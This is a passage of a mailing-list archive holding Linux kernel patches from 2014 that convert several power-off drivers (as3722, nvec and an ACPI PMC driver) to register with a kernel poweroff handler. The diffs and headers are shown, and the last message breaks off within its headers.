 	writel(val, pmc->regmap + reg_offset);
 }
 
-static void pmc_power_off(void)
+static int pmc_power_off(struct notifier_block *this, unsigned long unused1,
+			 void *unused2)
 {
 	u16	pm1_cnt_port;
 	u32	pm1_cnt_value;
@@ -107,8 +110,15 @@ static void pmc_power_off(void)
 	pm1_cnt_value |= SLEEP_ENABLE;
 
 	outl(pm1_cnt_value, pm1_cnt_port);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block pmc_poweroff_nb = {
+	.notifier_call = pmc_power_off,
+	.priority = 64,
+};
+
 static void pmc_hw_reg_setup(struct pmc_dev *pmc)
 {
 	/*
@@ -247,8 +257,12 @@ static int pmc_setup_dev(struct pci_dev *pdev)
 	acpi_base_addr &= ACPI_BASE_ADDR_MASK;
 
 	/* Install power off function */
-	if (acpi_base_addr != 0 && pm_power_off == NULL)
-		pm_power_off = pmc_power_off;
+	if (acpi_base_addr != 0) {
+		ret = register_poweroff_handler(&pmc_poweroff_nb);
+		if (ret)
+			dev_err(&pdev->dev,
+				"Failed to install poweroff handler\n");
+	}
 
 	pci_read_config_dword(pdev, PMC_BASE_ADDR_OFFSET, &pmc->base_addr);
 	pmc->base_addr &= PMC_BASE_ADDR_MASK;
-- 
1.9.1


From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 22/44] power/reset: as3722-poweroff: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:24 -0700
Lines: 95
Approved: news@gmane.org
Message-ID: <1412659726-29957-23-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659900 26947 80.91.229.3 (7 Oct 2014 05:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:40 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Sebastian Re
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 07 07:31:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbNMo-0003UJ-Ea
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Oct 2014 07:31:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754127AbaJGFbT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:19 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41398 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754029AbaJGFa7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 01:30:59 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=WCM5jw5aO1BzJ7n7QDZKNq2x+ihEWdbYaJ2DetEMjw8=;
	b=NJAUTPWxjYGFy74MCh6EO1C4JsHNbY1PT+7mWS8yPg9WQEBfkdObx7a1oGADsIcmVtvCJp6lqmXKcgZdPIfhgIgmwzJqYT/f94lhC1phXBMVqtC7xnCxa00TKehvd2GbEwKVa6BGK5mk6rw4F3ZUjw0IDRiY/Sh3KGxVVCQA9xE=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMR-002jTj-8F
	for linux-parisc@vger.kernel.org; Tue, 07 Oct 2014 05:30:59 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32925 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLJ-002c3v-34; Tue, 07 Oct 2014 05:29:49 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: *
X-Spam-Status: No, score=2.0 required=50.0 tests=SpamClass_Suspect,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Suspect
X-CTCH-VOD: Unknown
X-CTCH-Flags: 512
X-CTCH-RefID: str=0001.0A020202.54337A93.00B1,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=512,sb=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 951
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 10
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6099 gmane.linux.kernel:1802463 gmane.linux.drivers.devicetree:93053 gmane.linux.kernel.virtualization.lguest:1472 gmane.linux.acpi.devel:71286 gmane.linux.ports.alpha:2457 gmane.linux.kernel.efi:4740 gmane.linux.ports.hexagon:804 gmane.linux.ports.ppc64.devel:105883 gmane.linux.ports.tegra:19486 gmane.linux.kernel.openipmi:2463 gmane.linux.uml.devel:14676 gmane.linux.ports.arm.kernel:362358 gmane.linux.ports.ia64:24493 gmane.linux.kernel.metag:324 gmane.linux.ports.mips.general:44174 gmane.linux.power-management.general:50628 gmane.linux.ports.sh.devel:39797
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6099>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Sebastian Reichel <sre@kernel.org>
Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
Cc: David Woodhouse <dwmw2@infradead.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/power/reset/as3722-poweroff.c | 36 ++++++++++++++++++-----------------
 1 file changed, 19 insertions(+), 17 deletions(-)

diff --git a/drivers/power/reset/as3722-poweroff.c b/drivers/power/reset/as3722-poweroff.c
index 6849711..7ebaed9 100644
--- a/drivers/power/reset/as3722-poweroff.c
+++ b/drivers/power/reset/as3722-poweroff.c
@@ -17,32 +17,33 @@
 
 #include <linux/mfd/as3722.h>
 #include <linux/module.h>
+#include <linux/notifier.h>
 #include <linux/of.h>
 #include <linux/of_device.h>
 #include <linux/platform_device.h>
+#include <linux/pm.h>
 #include <linux/slab.h>
 
 struct as3722_poweroff {
 	struct device *dev;
 	struct as3722 *as3722;
+	struct notifier_block poweroff_nb;
 };
 
-static struct as3722_poweroff *as3722_pm_poweroff;
-
-static void as3722_pm_power_off(void)
+static int as3722_power_off(struct notifier_block *this, unsigned long unused1,
+			    void *unused2)
 {
+	struct as3722_poweroff *as3722_poweroff =
+		container_of(this, struct as3722_poweroff, poweroff_nb);
 	int ret;
 
-	if (!as3722_pm_poweroff) {
-		pr_err("AS3722 poweroff is not initialised\n");
-		return;
-	}
-
-	ret = as3722_update_bits(as3722_pm_poweroff->as3722,
+	ret = as3722_update_bits(as3722_poweroff->as3722,
 		AS3722_RESET_CONTROL_REG, AS3722_POWER_OFF, AS3722_POWER_OFF);
 	if (ret < 0)
-		dev_err(as3722_pm_poweroff->dev,
+		dev_err(as3722_poweroff->dev,
 			"RESET_CONTROL_REG update failed, %d\n", ret);
+
+	return NOTIFY_DONE;
 }
 
 static int as3722_poweroff_probe(struct platform_device *pdev)
@@ -63,18 +64,19 @@ static int as3722_poweroff_probe(struct platform_device *pdev)
 
 	as3722_poweroff->as3722 = dev_get_drvdata(pdev->dev.parent);
 	as3722_poweroff->dev = &pdev->dev;
-	as3722_pm_poweroff = as3722_poweroff;
-	if (!pm_power_off)
-		pm_power_off = as3722_pm_power_off;
+	as3722_poweroff->poweroff_nb.notifier_call = as3722_power_off;
+	as3722_poweroff->poweroff_nb.priority = 64;
 
-	return 0;
+	platform_set_drvdata(pdev, as3722_poweroff);
+
+	return register_poweroff_handler(&as3722_poweroff->poweroff_nb);
 }
 
 static int as3722_poweroff_remove(struct platform_device *pdev)
 {
-	if (pm_power_off == as3722_pm_power_off)
-		pm_power_off = NULL;
-	as3722_pm_poweroff = NULL;
+	struct as3722_poweroff *as3722_poweroff = platform_get_drvdata(pdev);
+
+	unregister_poweroff_handler(&as3722_poweroff->poweroff_nb);
 
 	return 0;
 }
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 29/44] staging: nvec: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:31 -0700
Lines: 100
Approved: news@gmane.org
Message-ID: <1412659726-29957-30-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659901 26951 80.91.229.3 (7 Oct 2014 05:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:41 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Julian Andre
To: linux-kernel@vger.kernel.org
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 07:31:32 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbNMp-0003UJ-ID
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 07:31:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754131AbaJGFbU (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:20 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41487 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754064AbaJGFbG (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 01:31:06 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=7mvLKglzhfviHXvYJrtV7ll7hkQ6H9rcg96FVrnOSQY=;
	b=lKkdjn6u+fbdi2TFUGeoOWexTNElQS0JgN1VC+HgeVFqOBs1aeVa2RwfuVMpT9zhDVB/ZGrxAzEqxr551JK8AzhFk5zoUc2a975+dNj16wmYNGXDJhVliwXtusMx1FXPGwlDNtTRnBQSh6Ga14G8p7dNXMAF6CaUjk/gx2caZe4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMX-002k88-Ds
	for linux-m68k@lists.linux-m68k.org; Tue, 07 Oct 2014 05:31:05 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32932 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLX-002dCW-GQ; Tue, 07 Oct 2014 05:30:04 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020207.54337A99.00B6,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1015
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 33
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.linux-m68k.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6215 gmane.linux.kernel:1802464 gmane.linux.drivers.devicetree:93054 gmane.linux.kernel.virtualization.lguest:1473 gmane.linux.acpi.devel:71287 gmane.linux.ports.alpha:2458 gmane.linux.kernel.efi:4741 gmane.linux.ports.hexagon:805 gmane.linux.ports.ppc64.devel:105884 gmane.linux.ports.tegra:19487 gmane.linux.kernel.openipmi:2464 gmane.linux.uml.devel:14677 gmane.linux.ports.arm.kernel:362359 gmane.linux.ports.ia64:24494 gmane.linux.kernel.metag:325 gmane.linux.ports.mips.general:44175 gmane.linux.ports.parisc:6100 gmane.linux.power-management.general:50629 gmane.linux.ports.sh.devel:39798
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6215>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with default priority value of 128 since we don't know
any better.

Cc: Julian Andres Klode <jak@jak-linux.org>
Cc: Marc Dietrich <marvin24@gmx.de>
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/staging/nvec/nvec.c | 24 +++++++++++++++---------
 drivers/staging/nvec/nvec.h |  2 ++
 2 files changed, 17 insertions(+), 9 deletions(-)

diff --git a/drivers/staging/nvec/nvec.c b/drivers/staging/nvec/nvec.c
index a93208a..33d406c 100644
--- a/drivers/staging/nvec/nvec.c
+++ b/drivers/staging/nvec/nvec.c
@@ -33,6 +33,7 @@
 #include <linux/mfd/core.h>
 #include <linux/mutex.h>
 #include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/slab.h>
 #include <linux/spinlock.h>
 #include <linux/workqueue.h>
@@ -80,8 +81,6 @@ enum nvec_sleep_subcmds {
 #define LID_SWITCH BIT(1)
 #define PWR_BUTTON BIT(15)
 
-static struct nvec_chip *nvec_power_handle;
-
 static const struct mfd_cell nvec_devices[] = {
 	{
 		.name = "nvec-kbd",
@@ -759,12 +758,17 @@ static void nvec_disable_i2c_slave(struct nvec_chip *nvec)
 }
 #endif
 
-static void nvec_power_off(void)
+static int nvec_power_off(struct notifier_block *this, unsigned long unused1,
+			  void *unused2)
 {
+	struct nvec_chip *nvec = container_of(this, struct nvec_chip,
+					      poweroff_nb);
 	char ap_pwr_down[] = { NVEC_SLEEP, AP_PWR_DOWN };
 
-	nvec_toggle_global_events(nvec_power_handle, false);
-	nvec_write_async(nvec_power_handle, ap_pwr_down, 2);
+	nvec_toggle_global_events(nvec, false);
+	nvec_write_async(nvec, ap_pwr_down, 2);
+
+	return NOTIFY_DONE;
 }
 
 /*
@@ -878,8 +882,11 @@ static int tegra_nvec_probe(struct platform_device *pdev)
 	nvec->nvec_status_notifier.notifier_call = nvec_status_notifier;
 	nvec_register_notifier(nvec, &nvec->nvec_status_notifier, 0);
 
-	nvec_power_handle = nvec;
-	pm_power_off = nvec_power_off;
+	nvec->poweroff_nb.notifier_call = nvec_power_off;
+	nvec->poweroff_nb.priority = 128;
+	ret = register_poweroff_handler(&nvec->poweroff_nb);
+	if (ret)
+		dev_err(nvec->dev, "Failed to register poweroff handler\n");
 
 	/* Get Firmware Version */
 	msg = nvec_write_sync(nvec, get_firmware_version, 2);
@@ -914,13 +921,12 @@ static int tegra_nvec_remove(struct platform_device *pdev)
 {
 	struct nvec_chip *nvec = platform_get_drvdata(pdev);
 
+	unregister_poweroff_handler(&nvec->poweroff_nb);
 	nvec_toggle_global_events(nvec, false);
 	mfd_remove_devices(nvec->dev);
 	nvec_unregister_notifier(nvec, &nvec->nvec_status_notifier);
 	cancel_work_sync(&nvec->rx_work);
 	cancel_work_sync(&nvec->tx_work);
-	/* FIXME: needs check wether nvec is responsible for power off */
-	pm_power_off = NULL;
 
 	return 0;
 }
diff --git a/drivers/staging/nvec/nvec.h b/drivers/staging/nvec/nvec.h
index e271375..e5ee2af 100644
--- a/drivers/staging/nvec/nvec.h
+++ b/drivers/staging/nvec/nvec.h
@@ -163,6 +163,8 @@ struct nvec_chip {
 	struct nvec_msg *last_sync_msg;
 
 	int state;
+
+	struct notifier_block poweroff_nb;
 };
 
 extern int nvec_write_async(struct nvec_chip *nvec, const unsigned char *data,
-- 
1.9.1


From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 21/44] power/reset: gpio-poweroff: Register with
	kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:23 -0700
Lines: 105
Approved: news@gmane.org
Message-ID: <1412659726-29957-22-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412659903 26973 80.91.229.3 (7 Oct 2014 05:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:43 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
	linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, devel@driverdev.osuosl.org,
	linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
	linux-c6x-dev@linux-c6x.org,
	Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>,
	linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
	linux-acpi@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>, devicetree@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net, linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-tegra@vger.kernel.org, openipmi-developer@lists.sourceforge.net,
	linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org, linux-cris-kernel@axis.com,
	David Woodhouse <dwmw2@in
To: linux-kernel@vger.kernel.org
Original-X-From: xen-devel-bounces@lists.xen.org Tue Oct 07 07:31:35 2014
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xen.org ([50.57.142.19])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1XbNMz-0003iK-5S
	for gcvxd-xen-devel@m.gmane.org; Tue, 07 Oct 2014 07:31:33 +0200
Original-Received: from localhost ([127.0.0.1] helo=lists.xen.org)
	by lists.xen.org with esmtp (Exim 4.72)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1XbNMa-0004b1-8N; Tue, 07 Oct 2014 05:31:08 +0000
Original-Received: from mail6.bemta4.messagelabs.com ([85.158.143.247])
	by lists.xen.org with esmtp (Exim 4.72)
	(envelope-from <linux@roeck-us.net>) id 1XbNMY-0004ZM-J5
	for xen-devel@lists.xenproject.org; Tue, 07 Oct 2014 05:31:06 +0000
Original-Received: from [85.158.143.35:55214] by server-1.bemta-4.messagelabs.com id
	9E/9F-05872-99A73345; Tue, 07 Oct 2014 05:31:05 +0000
X-Env-Sender: linux@roeck-us.net
X-Msg-Ref: server-7.tower-21.messagelabs.com!1412659864!14268304!1
X-Originating-IP: [208.91.199.152]
X-SpamReason: No, hits=0.0 required=7.0 tests=UNPARSEABLE_RELAY
X-StarScan-Received: 
X-StarScan-Version: 6.12.2; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 5368 invoked from network); 7 Oct 2014 05:31:05 -0000
Original-Received: from bh-25.webhostbox.net (HELO bh-25.webhostbox.net)
	(208.91.199.152)
	by server-7.tower-21.messagelabs.com with DHE-RSA-AES256-SHA encrypted
	SMTP; 7 Oct 2014 05:31:05 -0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net;
	s=default; 
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From;
	bh=jSv1A0iGDwJOZ0eAO+kS+95MK7kD4hVCLcWqbgH0MJw=; 
	b=7j7oC318vobKwAczHsF3Vg58RtAEVXcAjvqEOSnLeSICwm5IfUWUWkvlgn82rZyswXHubPtyBrpvHupqdKWz28W5TcHBVJpsFNk3eP4zLEQogXWKxvGpk+QagFBjwpHid3mxWZhMOU0c8+RVQiZmx7AKFdeLcMkS4kjw9oFwJxQ=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>) id 1XbNMV-002jzM-Bm
	for xen-devel@lists.xenproject.org; Tue, 07 Oct 2014 05:31:03 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net
	([108.223.40.66]:32918 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLG-002bgp-US; Tue, 07 Oct 2014 05:29:47 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: *
X-Spam-Status: No, score=2.0 required=50.0 tests=SpamClass_Suspect,
	VirusClass_Unknown autolearn=disabled version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Suspect
X-CTCH-VOD: Unknown
X-CTCH-Flags: 512
X-CTCH-RefID: str=0001.0A020208.54337A97.00C8, ss=1, re=0.000, recu=0.000,
	reip=0.000, cl=1, cld=1, fgs=512, sb=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 990
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 25
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse,
	please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.xenproject.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from
	get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <http://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
	<mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <http://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
	<mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Original-Sender: xen-devel-bounces@lists.xen.org
Errors-To: xen-devel-bounces@lists.xen.org
